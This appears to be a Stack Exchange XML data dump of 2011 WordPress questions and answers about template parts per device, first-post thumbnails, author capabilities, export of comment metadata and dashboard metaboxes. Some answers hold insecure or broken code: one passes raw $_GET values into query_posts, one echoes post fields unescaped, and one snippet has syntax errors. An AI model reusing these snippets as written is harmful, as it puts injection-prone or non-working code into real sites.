  <row Id="13018" PostTypeId="2" ParentId="12931" CreationDate="2011-03-25T07:14:14.507" Score="0" ViewCount="" Body="&lt;p&gt;Generally Plugins and Themes have the same possiblities. But at some points, there's a big difference. Themes come later and therefore have less power. Plus: a lot of functions only work for plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're trying to do is modifying core-behavior. In some places core offers hooks to even completely exchange parts of it and in others it offers hooks to &lt;em&gt;extend&lt;/em&gt; its functionality. But keep in mind that the core never really wants its behavior to be really changed when it comes to themes (see subfolders and &lt;code&gt;get_template_part()&lt;/code&gt;). So i would step back from switching themes 'inside' a theme (it's like modding the main query) and look for some other approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// inside one of your template files:&#xA;do_action( 'main_nav_hook' );&#xA;&#xA;// inside your functions.php&#xA;define( 'THEME_DESKTOP_DIR', trailingslashit( STYLESHEETPATH.'/desktop' ) );&#xA;define( 'THEME_MOBILE_DIR', trailingslashit( STYLESHEETPATH.'/mobile' ) );&#xA;define( 'THEME_TABLETT_DIR', trailingslashit( STYLESHEETPATH.'/tablett' ) );&#xA;&#xA;function add_main_nav_desktop()&#xA;{&#xA;  // do stuff&#xA;  require_once( THEME_DESKTOP_DIR.'template_nav.php' );&#xA;}&#xA;function add_main_nav_mobile()&#xA;{&#xA; // do stuff&#xA;  require_once( THEME_MOBILE_DIR.'template_nav.php' );&#xA;}&#xA;function add_main_nav_tablett()&#xA;{&#xA; // do stuff&#xA;  require_once( THEME_TABLETT_DIR.'template_nav.php' );&#xA;}&#xA;&#xA;// Hook the actions&#xA;if ( is_condition_mobile() )&#xA;{&#xA; add_action( 'main_nav_hook', 'add_main_nav_mobile' );&#xA;}&#xA;elseif ( is_condition_tablett() )&#xA;{&#xA; add_action( 'main_nav_hook', 'add_main_nav_tablett' );&#xA;}&#xA;else&#xA;{&#xA; add_action( 'main_nav_hook', 'add_main_nav_desktop' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a really simple and basic approach, but it's more likely to work. &lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-25T07:14:14.507" CommentCount="1" />
  <row Id="13019" PostTypeId="2" ParentId="12931" CreationDate="2011-03-25T07:28:25.933" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;You could also write your own simple get_template_part alias function:&lt;/strong&gt;&lt;br&gt;&#xA;The following allows 3 subfolders for template parts that sit in a theme root folder named &lt;em&gt;devices&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// STYLESHEETS&#xA;    function print_device_styles( $client = 'desktop' ) &#xA;    {&#xA;        $client = apply_filters( 'set_theme_client', $client );&#xA;        wp_enqueue_style( $client.'-css' );&#xA;    }&#xA;    add_action( 'wp_head', 'print_device_styles', 11 );&#xA;&#xA;// TEMPLATE PARTS&#xA;    function get_device_template_part( $args = array( 'file' =&amp;gt; NULL, 'suffix' =&amp;gt; 'default', 'client' =&amp;gt; 'desktop', 'media' =&amp;gt; 'screen' ) &#xA;    {&#xA;        if ( ! $args['file'] )&#xA;            wp_die( sprintf( __('You have to specify a file name if you want to load a template part with the %1$s function.', 'textdomain', '&amp;lt;pre&amp;gt;get_device_template_part()&amp;lt;/pre&amp;gt;' );&#xA;&#xA;        $template_path = trailingslashit( STYLESHEETPATH.'/devices/templates-'.$args['client'] );&#xA;        $ui_path = trailingslashit( STYLESHEETPATH.'/ui/css-'.$args['client'] );&#xA;        $ui_suffix = '.css'; // could be switched between '.dev.css' &amp;amp; '.css'&#xA;&#xA;        // add styles &amp;amp; template directory&#xA;        if ( is_condition_mobile() ) &#xA;        {&#xA;            $args['client'] = 'mobile';&#xA;            $args['screen'] = 'handheld';&#xA;        }&#xA;        elseif ( is_condition_tablet() )&#xA;        {&#xA;            $args['client'] = 'tablet';&#xA;            $args['screen'] = 'handheld';&#xA;        }&#xA;&#xA;        // register styles&#xA;        // wp_register_style( 'mobile-css', /theme_root/ui/css-mobile/mobile.css, false 'handheld' );&#xA;        wp_register_style( $args['client'].'-css', $ui_path.$args['client'].$ui_suffix, false, $args['screen'] );&#xA;&#xA;        add_filter( 'set_theme_client', function('set_theme_client') { return $args['client'];} );&#xA;&#xA;            // {$template}-{$suffix}.php&#xA;        if ( file_exists( $template_path.$args['file'].'-'.$args['suffix'].'.php' ) )&#xA;        {&#xA;            require( $template_path.$args['file'].'-'.$args['suffix'].'php' );&#xA;        }&#xA;            // {$template}.php&#xA;        elseif ( file_exists( $template_path.$args['file'].'.php' ) )&#xA;        {&#xA;            require( $template_path.$args['file'].'.php' );&#xA;        }&#xA;            // {$template}-default.php&#xA;        elseif ( file_exists( $template_path.$args['file'].'-default.php' ) )&#xA;        {&#xA;            require( $template_path.$args['file'].'-default.php' );&#xA;        }&#xA;    }&#xA;&#xA;// CALL THEM in a template file&#xA;// This will require a file named {$template}-{$suffix}.php from your devices folder&#xA;// based on your conditional functions that detect your devices&#xA;// If not found, it will search for a file named {$template}.php&#xA;// and if it wasn't found it will search for a file named {$template}-default.php&#xA;    get_device_template_part( array( 'file' =&amp;gt; 'nav', 'suffix' =&amp;gt; 'main' ) );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;Feel free to add your conditional device detection to: &lt;a href=&quot;https://gist.github.com/886501&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/886501&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-22T23:41:09.383" LastActivityDate="2011-05-22T23:41:09.383" CommentCount="4" />
  <row Id="13020" PostTypeId="1" AcceptedAnswerId="13022" CreationDate="2011-03-25T07:46:52.493" Score="0" ViewCount="442" Body="&lt;p&gt;What's the best way to use &lt;code&gt;&amp;lt;?php the_post_thumbnail();?&amp;gt;&lt;/code&gt; in my loop &lt;strong&gt;BUT&lt;/strong&gt; only show a thumbnail on the FIRST post? Meaning, only the first post in the loop will have it's image shown? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is an example of a loop that shows the image for ALL posts:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Start the Loop. --&amp;gt;&#xA; &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA; &amp;lt;!-- Display the Title as a link to the Post's permalink. --&amp;gt;&#xA; &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;!-- Display the posts Image thumbnail for the post --&amp;gt;&#xA;&amp;lt;?php the_post_thumbnail();?&amp;gt;&#xA; &amp;lt;!-- Display the date and a link to other posts by this posts author. --&amp;gt;&#xA; &amp;lt;small&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt; by &amp;lt;?php the_author_posts_link() ?&amp;gt;&amp;lt;/small&amp;gt;&#xA; &amp;lt;!-- Display the Post's Content in a div box. --&amp;gt;&#xA; &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;   &amp;lt;?php the_content(); ?&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="4194" LastActivityDate="2011-03-25T11:00:41.480" Title="Display thumbnail only on the very first post in the loop?" Tags="&lt;loop&gt;&lt;post-thumbnails&gt;&lt;the-loop&gt;&lt;custom-loop&gt;" AnswerCount="3" />
  <row Id="13021" PostTypeId="2" ParentId="13020" CreationDate="2011-03-25T08:00:20.980" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;! isset ( $loop_first ) and the_post_thumbnail();&#xA;$loop_first = 1;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-25T08:00:20.980" CommentCount="2" />
  <row Id="13022" PostTypeId="2" ParentId="13020" CreationDate="2011-03-25T08:05:53.113" Score="2" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;add a variable before the loop (before the while), for example $first = true;&lt;/li&gt;&#xA;&lt;li&gt;add a check inside the loop for this variable&lt;/li&gt;&#xA;&lt;li&gt;after the use, change the flag&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Start the Loop. --&amp;gt;&#xA; &amp;lt;?php $first = true; ?&amp;gt;&#xA; &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA; &amp;lt;!-- Display the Title as a link to the Post's permalink. --&amp;gt;&#xA; &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;!-- Display the posts Image thumbnail for the post --&amp;gt;&#xA;    &amp;lt;?php if ( $first ): ?&amp;gt;&#xA;      &amp;lt;?php the_post_thumbnail();?&amp;gt;&#xA;      &amp;lt;?php $first = false; ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA; &amp;lt;!-- Display the date and a link to other posts by this posts author. --&amp;gt;&#xA; &amp;lt;small&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt; by &amp;lt;?php the_author_posts_link() ?&amp;gt;&amp;lt;/small&amp;gt;&#xA; &amp;lt;!-- Display the Post's Content in a div box. --&amp;gt;&#xA; &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;   &amp;lt;?php the_content(); ?&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-03-25T08:05:53.113" CommentCount="1" />
  <row Id="13023" PostTypeId="1" AcceptedAnswerId="13040" CreationDate="2011-03-25T08:57:27.443" Score="0" ViewCount="268" Body="&lt;p&gt;I am trying to email a custom input &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;total&quot; id=&quot;total&quot; class=&quot;wpcf7-text&quot; readonly=&quot;readonly&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;[total]&lt;/code&gt; but it does not work. Or isit possible to make a field readonly with WPCF7?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-03-25T11:23:42.357" Title="Contact Form 7: Email custom HTML inputs or make a field readonly" Tags="&lt;contact-form-7&gt;" AnswerCount="1" />
  <row Id="13024" PostTypeId="2" ParentId="11199" CreationDate="2011-03-25T09:04:04.497" Score="0" ViewCount="" Body="&lt;p&gt;Yes, it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need a template page for the category (for example, category-30.php, where 30 is the id of the category you want to show with multiple subcategories).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template, run through the standard loop for post from the original category if you want to, if not, the magic function will be wp_reset_query and query_posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is needed for not to have a headache, the second needs some parameters to show the posts you need from the certain categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this nice and easy to adjust, create an array, with the needed params &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cats = array('location','activity');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run through the array, and create an own loop inside: ( original example from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Passing_variables_to_query_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts&lt;/a&gt; function reference) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($cats as $getparam ) :&#xA;  $query = 'cat=' . $_GET[$getparam] . '&amp;amp;orderby=date&amp;amp;order=ASC'; // concatenate the query&#xA;  query_posts( $query ); // run the query&#xA;&#xA;  if (have_posts()) : &#xA;    while (have_posts()) : &#xA;      the_post();&#xA;    [here comes your part]&#xA;    endwhile; &#xA;  endif;&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;thinking it through, you'd be better with a really simple line at the top if the category-xx.php template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( 'cat=' . $_GET['location'] . ',' . $_GET['activity'] . '&amp;amp;orderby=date&amp;amp;order=ASC' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates all posts from two categories, defined by $_GET params, also resetting original results for the category.&#xA;The upper solution displays results separately, and you question was to have all posts from multiple categories, sorry. &lt;/p&gt;&#xA;" OwnerUserId="4209" LastEditorUserId="4209" LastEditorDisplayName="" LastEditDate="2011-03-25T09:18:12.160" LastActivityDate="2011-03-25T09:18:12.160" />
  <row Id="13025" PostTypeId="1" AcceptedAnswerId="13026" CreationDate="2011-03-25T09:06:59.557" Score="0" ViewCount="70" Body="&lt;p&gt;How do I increase Author Role permissions to be able to add Categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other solutions welcome. We just need guest authors to be able to add categories while ensuring there is not already a existing appropriate category.&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-03-25T10:17:10.347" Title="How would I increase the Author Role to be able to add a new category?" Tags="&lt;categories&gt;" AnswerCount="2" />
  <row Id="13026" PostTypeId="2" ParentId="13025" CreationDate="2011-03-25T09:14:20.550" Score="2" ViewCount="" Body="&lt;p&gt;The easiest way is to use a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/capsman/&quot; rel=&quot;nofollow&quot;&gt;Capability Manager&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;User Role Editor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-25T09:14:20.550" />
  <row Id="13029" PostTypeId="1" AcceptedAnswerId="13038" CreationDate="2011-03-25T09:55:21.077" Score="0" ViewCount="178" Body="&lt;p&gt;I'm using the following function to get some posts based on their vote (Vote it Up plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function top_voted($number){&#xA;    $a = SortVotes();&#xA;    echo '&amp;lt;div class=&quot;voted&quot;&amp;gt;';&#xA;    $rows = 0;&#xA;    //Now do not include deleted posts&#xA;    $i = 0;&#xA;    while ($rows &amp;lt; $number) {&#xA;        if ($a[0][$i][0] != '') {&#xA;                $postdat = get_post($a[0][$i][0]);&#xA;            if (!empty($postdat)) {&#xA;                $rows++;&#xA;                echo '&amp;lt;div class=&quot;fore&quot;&amp;gt;';&#xA;                echo '&amp;lt;div class=&quot;votecount&quot; style=&quot;width: 1em; color: #555555; font-weight: bold;&quot;&amp;gt;'.$a[1][$i][0].' &amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;a href=&quot;'.$postdat-&amp;gt;guid.'&quot; title=&quot;'.$postdat-&amp;gt;post_title.'&quot;&amp;gt;'.$postdat-&amp;gt;post_title.'&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;                echo '&amp;lt;div class=&quot;votecount&quot; style=&quot;width: 1em; color: #555555; font-weight: bold;&quot;&amp;gt;'.$a[1][$i][0].' &amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;'.$postdat-&amp;gt;post_content.'&amp;lt;/div&amp;gt;';&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;            }&#xA;        }&#xA;        if ($i &amp;lt; count($a[0])) {&#xA;            $i++;&#xA;        } else {&#xA;            break; //exit the loop&#xA;        }&#xA;    }&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to only get the posts of a certain post type. I think I have to do something with &lt;code&gt;get_post&lt;/code&gt; but I'm not familiar with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-25T10:53:22.953" Title="Getting only a specific post type with get_post?" Tags="&lt;get-posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13030" PostTypeId="1" CreationDate="2011-03-25T10:12:27.980" Score="0" ViewCount="349" Body="&lt;p&gt;Is there any plugin to extend the basic functionality of the Media Library for websites with a lot of media content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A folder structure would be awesome...at the moment I am using the &lt;a href=&quot;http://wordpress.org/extend/plugins/media-tags/&quot; rel=&quot;nofollow&quot;&gt;Media Tags plugin&lt;/a&gt; but I am wondering if there is something more powerful around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-06-23T20:06:16.450" Title="Media Library plugins for better file management?" Tags="&lt;media-library&gt;" AnswerCount="1" />
  <row Id="13031" PostTypeId="1" AcceptedAnswerId="13034" CreationDate="2011-03-25T10:14:12.737" Score="1" ViewCount="78" Body="&lt;p&gt;If I would export a WordPress database, posts and comments etc. are saved to an XML file.&lt;br&gt;&#xA;Would comment metadata be included in this XML file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. the table &lt;code&gt;wp_commentmeta&lt;/code&gt;, mentioned here: &lt;a href=&quot;http://codex.wordpress.org/Database_Description#Table:_wp_commentmeta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Database_Description#Table:_wp_commentmeta&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here:&lt;br&gt;&#xA;&lt;a href=&quot;http://ipggi.wordpress.com/2011/03/16/the-wordpress-extended-rss-wxr-exportimport-xml-document-format-decoded-and-explained/&quot; rel=&quot;nofollow&quot; title=&quot;The WordPress eXtended Rss &amp;#40;WXR&amp;#41; Export/Import, XML Document Format Decoded and Explained&quot;&gt;The WordPress eXtended Rss &amp;#40;WXR&amp;#41; Export/Import, XML Document Format Decoded and Explained&lt;/a&gt;&lt;br&gt;&#xA;I found some info on the export file format, and the columns in &lt;code&gt;wp_comments&lt;/code&gt; are mentioned, but there's no mentioning of any columns in &lt;code&gt;wp_commentmeta&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Background: I'm planning to write a new commenting system for WordPress, and I'd like to be able to import/export comment data between various blog platforms. (E.g. Blogger and others.) And I think I need to use the comment metadata table. &lt;strong&gt;/Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards, Magnus&lt;/p&gt;&#xA;" OwnerUserId="4211" LastEditorUserId="4211" LastEditorDisplayName="" LastEditDate="2011-03-26T02:08:51.840" LastActivityDate="2011-03-26T02:08:51.840" Title="Is comment metadata included in the export file?" Tags="&lt;comments&gt;&lt;export&gt;" AnswerCount="1" />
  <row Id="13032" PostTypeId="1" AcceptedAnswerId="13042" CreationDate="2011-03-25T10:15:19.047" Score="1" ViewCount="323" Body="&lt;p&gt;I am trying to mimic the dashboard meta boxes UI in my WP plugin - the small metaboxes. I have already styled them and also the drag &amp;amp; drop feature works as I loaded the following script and style:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style('dashboard');&#xA;wp_enqueue_script('dashboard');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I also would like to save my custom &quot;postboxes&quot; position (order) and also the open/close state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how could this be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;This is the structure of my postbox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;?php screen_icon( 'options-general' ); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php echo get_admin_page_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&quot;postbox-container&quot; style=&quot;width: 100%&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;metabox-holder&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;meta-box-sortables&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;postbox&quot; id=&quot;first&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;handlediv&quot; title=&quot;Click to toggle&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;h3 class=&quot;hndle&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php echo get_admin_page_title(); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;div class=&quot;inside&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;first&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;postbox&quot; id=&quot;second&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;handlediv&quot; title=&quot;Click to toggle&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;h3 class=&quot;hndle&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php echo get_admin_page_title(); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;div class=&quot;inside&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;second&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;form style=&quot;display:none&quot; method=&quot;get&quot; action=&quot;&quot;&amp;gt;&#xA;        &amp;lt;?php wp_nonce_field('closedpostboxes', 'closedpostboxesnonce', false ); ?&amp;gt;&#xA;        &amp;lt;?php wp_nonce_field('meta-box-order', 'meta-box-order-nonce', false ); ?&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4212" LastEditorUserId="4212" LastEditorDisplayName="" LastEditDate="2011-03-25T11:45:49.687" LastActivityDate="2011-03-25T15:30:53.910" Title="Dashboard like meta boxes in my plugin - how to save their position and open/closed state?" Tags="&lt;plugin-development&gt;&lt;metabox&gt;&lt;dashboard&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="13033" PostTypeId="2" ParentId="13025" CreationDate="2011-03-25T10:17:10.347" Score="2" ViewCount="" Body="&lt;p&gt;Should work from inside your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_manage_cat_to_author_role() &#xA;{&#xA;    if ( ! current_user_can( 'author' ) )&#xA;        return;&#xA;&#xA;    // here you should check if the role already has_cap already and if so, abort/return;&#xA;&#xA;    if ( current_user_can( 'author' ) ) &#xA;    {&#xA;        $GLOBALS['wp_roles']-&amp;gt;add_cap( 'author','manage_category' );&#xA;    }&#xA;}&#xA;add_action( 'admin_init', 'add_manage_cat_to_author_role', 10, 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-25T10:17:10.347" CommentCount="2" />
  <row Id="13034" PostTypeId="2" ParentId="13031" CreationDate="2011-03-25T10:20:56.413" Score="0" ViewCount="" Body="&lt;p&gt;Looking at &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/export.php#L393&quot; rel=&quot;nofollow&quot;&gt;the export code&lt;/a&gt;, it seems comments don't include comment meta information. The lines above it explicitly include post metadata, but I don't see a query for comment metadata.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-25T10:20:56.413" CommentCount="2" />
  <row Id="13035" PostTypeId="2" ParentId="11652" CreationDate="2011-03-25T10:30:58.377" Score="1" ViewCount="" Body="&lt;p&gt;The solution posted &lt;a href=&quot;http://wordpress.org/support/topic/multisite-installed-on-aws-permalinks-not-working?replies=19&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; resolved the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links work as expected now even when I use custom permalink structures!&lt;/p&gt;&#xA;" OwnerUserId="1070" LastActivityDate="2011-03-25T10:30:58.377" />
  <row Id="13036" PostTypeId="1" AcceptedAnswerId="15099" CreationDate="2011-03-25T10:43:40.943" Score="0" ViewCount="122" Body="&lt;p&gt;I've gotten as far as creating my new tab and getting it to show up and I've taken a copy of the gallery screen (I'm making an audio plugin with a playlist feature). The list of media items shows up fine but I can only get it to show just the audio files when I don't pass a post ID into the &lt;code&gt;get_media_items()&lt;/code&gt; function like in the media library tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can retrieve a media items list using &lt;code&gt;get_media_items()&lt;/code&gt; where the post_parent field is set and the post_mime_type matches 'audio'?&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-04-19T09:09:42.510" Title="How do you filter get_media_items by mime type in a custom media upload tab?" Tags="&lt;plugin-development&gt;&lt;media-library&gt;&lt;media-upload&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="13037" PostTypeId="1" AcceptedAnswerId="13060" CreationDate="2011-03-25T10:45:49.293" Score="0" ViewCount="133" Body="&lt;p&gt;I have a custom loop pulling out videos all assigned to various categories. However there is a category called &quot;new-video&quot; and I need to pull out all videos using my custom loop, but I would like the posts assigned to the category &quot;new-video&quot; to be shown first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically the loop will treat the category &quot;new-video&quot; as of high priority and then show the other videos afterwards. I know you can include and exclude categories, but I don't want to exclude anything, merely prioritise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Wordpress 3.1 *meta_query* was introduced which allows for some pretty customisable queries, but the documentation is sparse and all of my searches thus far have returned nothing I can use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I am currently using is the below if it helps:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$videos = get_posts(array(&#xA; 'post_type' =&amp;gt; 'videos',&#xA; 'nopaging' =&amp;gt; true,&#xA; 'each_connected' =&amp;gt; array(&#xA;    'post_type' =&amp;gt; 'artists',&#xA;    'nopaging'  =&amp;gt; true,&#xA; ),&#xA; 'suppress_filters' =&amp;gt; false&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ignore the each_connected stuff, that is there because I am using the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts to Posts&lt;/a&gt; by Scribu.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-25T13:10:42.350" Title="Prioritising and Ordering Posts By Category Name Using A Custom Loop" Tags="&lt;wp-query&gt;&lt;3.1&gt;&lt;customization&gt;&lt;query&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="13038" PostTypeId="2" ParentId="13029" CreationDate="2011-03-25T10:53:22.953" Score="4" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$the_posts = get_posts(array('post_type' =&amp;gt; 'post_type_name'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will get all posts from the post type called &quot;post_type_name&quot; so replace that with whatever custom post type you are using. I mean this in the nicest possible way, but you should probably read the documentation as this is a pretty well documented feature that isn't too hard to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation for get_posts is available &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on the Wordpress website with plenty of example code for you to easily understand.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-25T10:53:22.953" />
